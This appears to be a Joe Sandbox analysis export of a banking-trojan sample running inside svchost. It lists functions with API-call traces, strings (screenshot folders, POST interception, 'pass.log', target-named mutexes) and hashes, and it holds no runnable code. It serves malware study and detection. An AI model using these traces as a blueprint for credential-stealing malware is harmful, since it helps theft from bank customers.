                                                                                                                                                                                                            Function 02C87230 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 149fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free$fwrite$fseek$fclosefread
                                                                                                                                                                                                            • String ID: 82c31cf4
                                                                                                                                                                                                            • API String ID: 2434908339-1946308177
                                                                                                                                                                                                            • Opcode ID: c40e4bed5cf97454075a45736d22c2bd94892342a3efaa6722b600237556d0fc
                                                                                                                                                                                                            • Instruction ID: 1e974ff73977e1a7b5a8d9bb28150bf6261c6c699c825a5e133cf8dde1618f11
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c40e4bed5cf97454075a45736d22c2bd94892342a3efaa6722b600237556d0fc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8341F671A406449FD720EBA8CC85B6AF3E8EF98314F248A2DE985C37D1D278F4458B61
                                                                                                                                                                                                            Function 02C909A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31c07), ref: 02C909CA
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C90A0C
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C90A18
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C90A1C
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C90A2D
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C90A34
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C90A63
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C90A69
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C90A6D
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C90A7E
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C90A85
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C90ABA
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02C90AD0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$82c31c07$scrs
                                                                                                                                                                                                            • API String ID: 224938940-3120923735
                                                                                                                                                                                                            • Opcode ID: 542c1874f4bc3e52dd528810bb4d1963d2f2196f39eb4ecada1477f36d36a40c
                                                                                                                                                                                                            • Instruction ID: 9adedc9061a233322b623d4569dee6cd3ded6863e4bc389879186b729274d846
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 542c1874f4bc3e52dd528810bb4d1963d2f2196f39eb4ecada1477f36d36a40c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9A310571E402985BDB219B749C5CBEBBBA8EF95300F4546D4EA89D3100DF70DA55CBA0
                                                                                                                                                                                                            Function 02C8A150 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c3181f), ref: 02C8A17A
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8A1BC
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8A1C8
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8A1CC
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8A1DD
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8A1E4
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8A213
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8A219
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8A21D
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8A22E
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8A235
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C8A26A
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02C8A280
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$82c3181f$scrs
                                                                                                                                                                                                            • API String ID: 224938940-3555506977
                                                                                                                                                                                                            • Opcode ID: 6be01b82df11ddc65da618c02c39694b16699051bfaa5acf49fb64867bc43323
                                                                                                                                                                                                            • Instruction ID: 81399e7e759840fcf260adc1e0ba70d5316192ef898cd4b424ea9abbfecd5d93
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6be01b82df11ddc65da618c02c39694b16699051bfaa5acf49fb64867bc43323
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 70315871E002989BCB21EB349C98BEB7BA8EF85304F0486D5E989C3100DF30DA54CBA0
                                                                                                                                                                                                            Function 02C91960 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31d1a), ref: 02C9198A
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C919CC
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C919D8
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C919DC
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C919ED
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C919F4
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C91A23
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C91A29
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C91A2D
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C91A3E
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C91A45
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C91A7A
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02C91A90
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$82c31d1a$scrs
                                                                                                                                                                                                            • API String ID: 224938940-3428871440
                                                                                                                                                                                                            • Opcode ID: d8ee8b92d7439d8aee7b7b41ec083de929fc90b976aed1a9591ea951ced87208
                                                                                                                                                                                                            • Instruction ID: 97337809144342f5afb747c78701df50d7f1a3d8e6f0a197024a797b0774a99a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d8ee8b92d7439d8aee7b7b41ec083de929fc90b976aed1a9591ea951ced87208
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 34313571E402995FCB21DB34AC5DBEB7BA8AF85300F0946D4E989C3100DFB0DA58CBA0
                                                                                                                                                                                                            Function 00401A30 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 103memoryfilelibraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 004010A0: CreateFileA.KERNEL32('+@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,00401A54,00000000,00000000,?,00000000), ref: 004010C6
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetFileSizeEx.KERNEL32(00000000,00401A54,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010E7
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000008,00401A67,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010FD
                                                                                                                                                                                                              • Part of subcall function 004010A0: HeapAlloc.KERNEL32(00000000,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 00401104
                                                                                                                                                                                                              • Part of subcall function 004010A0: memset.MSVCRT ref: 00401114
                                                                                                                                                                                                              • Part of subcall function 004010A0: ReadFile.KERNEL32(?,00000000,00401A54,00000000,00000000,?,?,?,?,00401A54), ref: 00401133
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401145
                                                                                                                                                                                                              • Part of subcall function 004010A0: HeapValidate.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401148
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401155
                                                                                                                                                                                                              • Part of subcall function 004010A0: HeapFree.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401158
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetHandleInformation.KERNEL32(00000000,00000000,?,00401A54,00000000,00000000), ref: 00401173
                                                                                                                                                                                                              • Part of subcall function 004010A0: CloseHandle.KERNEL32(00000000,?,00401A54,00000000,00000000), ref: 00401184
                                                                                                                                                                                                              • Part of subcall function 004010A0: IsBadWritePtr.KERNEL32(?,00000004), ref: 00401194
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00401A5F
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00401A77
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401A88
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401A98
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 00401ADC
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401AF9
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000), ref: 00401B04
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401B1A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401B2B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401B3A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00401B3D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401B4A
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00401B4D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$HandleProcess$CloseCreateFreeInformationValidateWrite$AddressAllocCountHeaderImageModuleProcReadSizeTickmemset
                                                                                                                                                                                                            • String ID: '+@$RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 3626882417-2605303930
                                                                                                                                                                                                            • Opcode ID: a684177415ef1389c265edc60bbb787380eb140592000129f1f3a54920f38112
                                                                                                                                                                                                            • Instruction ID: 5333274c7b5ae32bd68dbaed39568bfcb3f6f97b50696231050ce748e7cb221e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a684177415ef1389c265edc60bbb787380eb140592000129f1f3a54920f38112
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 083181B1601304ABE710AB75DD49F5B3AACAB84755F458136FF05F72E0EB78D9008AA8
                                                                                                                                                                                                            Function 02C90AF0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 67sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C90B1C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C90B2D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B41
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90B4F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C909A0,00000000,00000000,00000000), ref: 02C90B64
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02C90B75
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C90B7A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B8E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90B9C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31c07), ref: 02C90BA7
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31c07,RAIFF), ref: 02C90BC1
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C90BCA
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 82c31c07$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RAIFF
                                                                                                                                                                                                            • API String ID: 505831200-3163959839
                                                                                                                                                                                                            • Opcode ID: 359c752f12f6c967435cf34ed389b4ebcc13ba95406090ce099f1244c96a91b4
                                                                                                                                                                                                            • Instruction ID: e6b70bb27d61c34d8a9be23afc102e9d7ab718ba819a6fa34f7ce02b850e8a58
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 359c752f12f6c967435cf34ed389b4ebcc13ba95406090ce099f1244c96a91b4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE11B630AC9755BAF7126B658C1EF1E37DC5F44B19F104654F551A30C1EBF0E9008AAA
                                                                                                                                                                                                            Function 02C91AB0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 67sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}), ref: 02C91ADC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C91AED
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B01
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C91B0F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C91960,00000000,00000000,00000000), ref: 02C91B24
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02C91B35
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C91B3A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B4E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C91B5C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31d1a), ref: 02C91B67
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31d1a,RSTYLE), ref: 02C91B81
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C91B8A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 82c31d1a$Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$P0#v$RSTYLE
                                                                                                                                                                                                            • API String ID: 505831200-163837639
                                                                                                                                                                                                            • Opcode ID: e7272ec0258fa3e64e587906a230ea33347638888357daea2d824eb37b8710e6
                                                                                                                                                                                                            • Instruction ID: b08893210dbc9ebcc0b73e871e23fbd590f2a43a74c877046b024da61a8c4ed2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e7272ec0258fa3e64e587906a230ea33347638888357daea2d824eb37b8710e6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7C11E630AC47537BF6126B658C0FF1A369C9F81B64F184654F919620C1EBF4A9008A7B
                                                                                                                                                                                                            Function 02C84010 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 210stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C84060
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C8408C
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,0000001C,0000001C), ref: 02C840B3
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000005), ref: 02C840E4
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C8410D
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,Content-Length: ), ref: 02C84125
                                                                                                                                                                                                            • StrToIntA.SHLWAPI(-00000010), ref: 02C84133
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,00000004), ref: 02C84165
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$Readmemcpystrstr
                                                                                                                                                                                                            • String ID: $Content-Length: $POST
                                                                                                                                                                                                            • API String ID: 2509092961-2076583852
                                                                                                                                                                                                            • Opcode ID: 98e3f5e6023505e43740f07631d97470b1c8b4de8df814408e7af2995d1372bf
                                                                                                                                                                                                            • Instruction ID: 20fb5f77d205ca073ff0fd67f8c3b62ce2f308a28ed9b6ee4e61b5401f3d3b17
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 98e3f5e6023505e43740f07631d97470b1c8b4de8df814408e7af2995d1372bf
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C6718071D40256AFDB24EFA8DC84BAEBBB9FF88704F108669E814E7640D7309914CF91
                                                                                                                                                                                                            Function 02C8CBC0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 167stringthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8CBE1
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,<L>,?,00000000,?), ref: 02C8CC19
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8CC4D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8CC83
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(00000000,82C3184B), ref: 02C8CCC9
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8A390,00000000,00000000,00000000), ref: 02C8CD48
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8CD60
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8CD71
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C8CD97
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,00000000,02C87A4D), ref: 02C8CDD4
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashHandle$CloseCreateExistsFileInformationThreadmemcpymemsetstrstr
                                                                                                                                                                                                            • String ID: 82C3184B$<L>$POST$bsi.dll$pass.log
                                                                                                                                                                                                            • API String ID: 4177962767-2622770412
                                                                                                                                                                                                            • Opcode ID: 2a9d3f0de192a04b5262e6f3fb27019717aec26fc3c489003c4e6fc2897fdf56
                                                                                                                                                                                                            • Instruction ID: 06d8eef77a4d09b74bfb68f91aa851fec4f1dbc0fe938ed8cc18d0de3af1fdc7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2a9d3f0de192a04b5262e6f3fb27019717aec26fc3c489003c4e6fc2897fdf56
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AC516F31D406455BD716BF34EC097E67BA9EF85308F14865BD80897280EB709B58CFE0
                                                                                                                                                                                                            Function 02C8B888 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8B8A7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B8E1
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8B8EB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8B8F3
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B904
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8B90B
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8B941
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8B980
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B,?,?), ref: 02C8B9C7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashDirectoryErrorLast$AdminAttributesCreateCurrentFileFolderMakeSystemUser
                                                                                                                                                                                                            • String ID: 82C3184B$\$ctunnel.zip$path_ctunnel.txt
                                                                                                                                                                                                            • API String ID: 2545201083-3024699672
                                                                                                                                                                                                            • Opcode ID: 597e81aea07d56e163b133f732db12b9ba6d08a01c7eba91b56a39189bb5b505
                                                                                                                                                                                                            • Instruction ID: d0a2208008877b16d15c25a98c7cfc1f1bfd6b29ceef1f59d470caa040ab772e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 597e81aea07d56e163b133f732db12b9ba6d08a01c7eba91b56a39189bb5b505
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8A51F6309046598FDB16DF24A858BE6BBF9EF86308F14C6D4D8C9D7211DB70DA89CB90
                                                                                                                                                                                                            Function 02C783D0 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 84windowsynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?), ref: 02C783E2
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: SelectObject.GDI32(00000000,00000000), ref: 02C77FCA
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: DeleteObject.GDI32(00000000), ref: 02C77FD9
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: DeleteDC.GDI32(00000000), ref: 02C77FE7
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: SelectObject.GDI32(?,00000000), ref: 02C77FF7
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: DeleteObject.GDI32(00000000), ref: 02C77FFF
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: DeleteDC.GDI32(?), ref: 02C78008
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: GetDC.USER32(00000000), ref: 02C7800C
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: CreateCompatibleDC.GDI32(00000000), ref: 02C7801B
